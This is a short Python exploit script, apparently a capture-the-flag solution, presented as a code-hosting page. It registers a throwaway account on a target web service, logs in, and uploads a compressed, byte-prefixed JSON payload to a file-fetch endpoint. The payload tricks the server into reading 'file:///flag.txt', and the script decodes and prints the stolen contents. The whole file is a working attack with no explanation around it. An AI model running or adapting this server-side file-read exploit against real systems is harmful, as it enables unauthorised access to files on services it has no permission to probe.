30 lines
1.1 KiB
Python
30 lines
1.1 KiB
Python
import requests, random, string, base64, gzip, zlib, json, sys
|
|
|
|
HOST = sys.argv[1]
|
|
PORT = 16000
|
|
|
|
def random_string(length):
|
|
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
|
return ''.join(random.choice(charset) for i in range(length))
|
|
|
|
def exploit():
|
|
sess = requests.Session()
|
|
|
|
## register
|
|
username = random_string(5)
|
|
password = random_string(5)
|
|
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
|
|
|
## login
|
|
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
|
|
|
## exploit python
|
|
content = {"provider": "python","url":" file:///flag.txt"}
|
|
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
|
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
|
|
b64_string = r.text
|
|
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
|
|
print(base64.b64decode(b64_string).decode())
|
|
|
|
if __name__ == "__main__":
|
|
exploit() |